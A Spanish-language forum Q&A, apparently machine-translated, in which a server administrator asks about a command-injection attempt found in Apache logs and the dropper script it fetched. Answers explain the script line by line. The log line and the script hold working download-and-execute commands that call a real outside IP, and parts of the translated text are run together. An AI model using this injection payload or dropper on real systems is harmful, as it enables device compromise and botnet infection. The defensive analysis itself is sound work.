He estado notando en mis servidores registros de apache, las siguientes líneas extrañas últimamente:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
Así que hice un filtro Fail2Ban personalizado y comencé a prohibir las direcciones IP que solicitaban estas URL /login.cgi.
Pero tenía curiosidad por saber qué estaban tratando de hacer, así que saqué el guión que intentaban ejecutar y parece que no puedo entender qué hace exactamente. ¿Algo sobre la eliminación de carpetas de archivo en / var y / tmp?
De todos modos, aquí está:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done

hxxp://80.211.173.159:80/$namedonde se$nameencuentra cada una de las arquitecturas de CPUbin_names. Por lo tanto, se descargarán y ejecutarán 7 scripts de ataqueRespuestas:
Linea por linea:
Establece el
shshell, cualquiera que sea, como la línea shebang.sh%20/tmp/ksen la solicitud anula esto, por lo que esta línea se trata como un comentario normal y se ignora.Declara un nombre arbitrario, presumiblemente para evitar chocar con otros nombres de archivo. No estoy seguro de por qué no solo usarían
mktemp, pero tal vez eso no esté disponible en todas las plataformas.Enumera varias arquitecturas de CPU comunes.
El servidor que tiene el exploit.
Intenta cambiar el directorio a algún lugar donde es probable que su servidor web pueda crear archivos. Creo que SELinux ayudará con esto, aplicando reglas mucho más estrictas sobre lo que el servidor web puede hacer que el sistema de archivos por sí solo.
Para cada arquitectura de CPU ...
Elimina los programas de exploit previamente probados. Innecesario debido a la siguiente línea, por lo que puede ser ignorado.
Copia el ejecutable de shell actual (
/bin/sh). Se puede ignorar debido a la línea después de la siguiente.Hace que todos tengan acceso completo al nuevo archivo. Esto debería haber sido después del
wgetcomando, que es un signo de un novato de scripting de shell o una técnica de dirección errónea.Vacía el archivo. No tiene sentido debido a la siguiente línea.
Sobrescribe el archivo con el script de exploit para esta arquitectura.
-O -> $upodría haberse escrito-O - > $u(el guión indica que la descarga debe escribirse en la salida estándar) que es equivalente a-O $u.Ejecuta el script exploit con la arquitectura como primer argumento.
Termina el ciclo.
Parece que este es un script de intento de exploit trivial, que intenta exploits conocidos en varias plataformas de CPU. No sé por qué se sobrescribe
$utres veces, pero esas operaciones podrían ser simplemente restos de una iteración anterior del script. Presumiblemente, esa versión anterior tenía los exploits codificados en lugar de ser servidos dinámicamente; el primero es más fácil pero casi garantiza que el script será menos efectivo con el tiempo a medida que se corrijan los errores.fuente
->en elwgetcomando? ¿Por qué no solowget ... -O $u?- >-O->filename, elfilenameno se muestra en la salida de ps ax . Eso puede ser una ventaja para dificultar la depuración.cpte da un archivo ejecutable. ¿Posiblemente útil sichmodfalla? Editar: dado que aparentemente esto apunta a enrutadores, es muy posible quechmodno exista.La
wgetes la línea peligrosa clave.El
for name in $bin_namesestá trabajando a través de la lista de plataformas y para cada plataforma en la que se vacía un directorio temporal, la copia de una concha encima y después por lo que es accesible por todos.Luego descarga un archivo usando
wgety luego lo ejecuta usando el programa shell que acaba de copiar.El script básicamente intenta descargar una serie de ejecutables o scripts para cada plataforma que pueda y frotarlos contra su sistema con la esperanza de que pueda comprometer aún más su sistema.
fuente